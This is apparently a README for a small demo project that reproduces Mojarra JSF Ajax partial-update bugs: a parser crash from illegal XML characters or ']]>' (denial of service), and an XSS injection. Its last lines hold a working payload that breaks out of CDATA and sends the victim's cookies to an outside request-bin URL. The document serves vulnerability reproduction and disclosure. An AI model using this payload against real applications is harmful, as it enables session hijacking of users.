Minimal demo to reproduce some issues with mojarra partial update.
To reproduce just run
mvn package wildfly:run
and wait for the server to start up.
Open the url http://localhost:8080/ajax/index.xhtml.
It also works for user supplied inputs, open http://localhost:8080/ajax/input.xhtml and enter the \u000C character into the input field.
Workaround is available at https://github.com/cnsgithub/mojarra-ajax/blob/master/src/main/java/main/IllegalXmlCharactersFilter.java.
Pull request eclipse-ee4j/mojarra#4517 has been closed unmerged.
Open the url http://localhost:8080/ajax/issue4392.xhtml, enter ]]>
and click at the button to see the XML parser crashing (denial of service).
However, this vulnerability might also be used to inject arbitrary javascript (XSS). Just enter ]]></update><eval><![CDATA[window.open("https://postb.in/Lsmfz95D?cookie="+encodeURIComponent(document.cookie));]]></eval><update><![CDATA[
and see how your cookies have been sent to https://postb.in/b/Lsmfz95D.